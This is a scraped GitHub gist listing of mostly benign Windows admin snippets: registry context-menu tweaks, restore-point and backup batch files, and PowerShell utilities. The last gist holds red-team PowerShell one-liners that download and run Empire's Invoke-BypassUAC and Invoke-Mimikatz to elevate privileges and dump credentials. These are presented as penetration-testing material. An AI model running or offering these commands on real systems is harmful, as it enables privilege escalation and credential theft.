Skip to content

Instantly share code, notes, and snippets.

@sionta
sionta / sub_item_contextMenu.reg
Last active August 6, 2021 12:27
Sub-ContextMenu-Items
Windows Registry Editor Version 5.00
;Main context menu
[HKEY_CURRENT_USER\Software\Classes\DesktopBackground\Shell\Example Name]
"Position"="Bottom"
"Icon"="explorer.exe"
"SubCommands"=""
[HKEY_CURRENT_USER\Software\Classes\DesktopBackground\Shell\Example Name\shell]
Windows Registry Editor Version 5.00
; https://stackoverflow.com/questions/34627893/github-desktop-open-in-sublime-not-atom
; https://github.com/desktop/desktop/blob/development/app/src/lib/editors/win32.ts
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sublime Text 3_is1]
"Publisher"="Sublime HQ Pty Ltd"
"DisplayName"="Sublime Text 3"
"InstallLocation"="D:\\dev\\subltext\\"
"Comment"="This key is needed for Github to detect SublimeText"
Windows Registry Editor Version 5.00
; git_gui directory
[HKEY_CURRENT_USER\SOFTWARE\Classes\Directory\shell\git_gui]
@="Git &GUI Here"
"Icon"="D:\\dev-app\\PortableGit\\cmd\\git-gui.exe"
[HKEY_CURRENT_USER\SOFTWARE\Classes\Directory\shell\git_gui\command]
@="\"D:\\dev-app\\PortableGit\\cmd\\git-gui.exe\" \"--working-dir\" \"%1\""
@sionta
sionta / delete_sid.bat
Last active September 5, 2021 10:08
Delete restore point in windows
@echo off
:begins
set __SID_LOG=%~dp0list_restore_point
del /f "%__SID_LOG%" >nul 2>&1
vssadmin list shadows >>"%__SID_LOG%"
if exist "%__SID_LOG%" (
start notepad "%__SID_LOG%"
echo ====================================================================
echo.
echo Example Usage: Shadow Copy ID={3b7f66e2-d6c5-49fd-9bce-ff667f78dad3}
@echo off
@title ROBOCOPY - BACKUP SCRIPTS
cd /d "%~dp0"
set "OPTIONS=E /J /IM /IT"
set "EXCLUDE=JOB:exclude_backup.rcj"
:: replace your source path below
set "_INTERNAL=D:"
:: replace your destination path below
set "_EXTERNAL=E:\ResultBackup"
@sionta
sionta / ProcessingAnimation.ps1
Last active February 3, 2024 23:36 — forked from WillemRB/ProcessingAnimation
PowerShell function to create a processing animation for long running scriptblocks.
function ProcessingAnimation($scriptBlock) {
$cursorTop = [Console]::CursorTop
try {
[Console]::CursorVisible = $false
$counter = 0
$frames = '|', '/', '-', '\'
$jobName = Start-Job -ScriptBlock $scriptBlock
@sionta
sionta / navpane.bat
Last active September 20, 2022 12:57
Windows10: Add folder or drive to navigation pane explorer.exe
:: TASKER:
:: - support disable/enable default navigation pane
:: i.e Quick Access, OneDrive, This PC, Network, etc.
:: - support relative path directory or icon file i.e cmd.exe
::
@echo off
if "%~1"=="" (
:help
@sionta
sionta / vscode-tools.bat
Created October 11, 2022 18:00
Visual Studio Code Tools for User or Portable
@REM desktopicon,addcontextmenufiles,addcontextmenufolders,associatewithfiles,addtopath
@echo off
if not exist "%CD%\Code.exe" (
echo Cannot found 'Code.exe' in '%CD%'.
echo Note: Place this file in 'Visual Studio Code' directory.
pause >nul
exit 2
)
@sionta
sionta / Download-GitHubRelease.ps1
Last active July 26, 2024 05:00
Download GitHub Release File.
<#
.Synopsis
Download GitHub Release File.
.DESCRIPTION
A utilities tool for download GitHub release.
.PARAMETER Repository
The relative url of the repository (owner/repo).
.PARAMETER Pattern
Matching the pattern file name.
.PARAMETER TagName
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands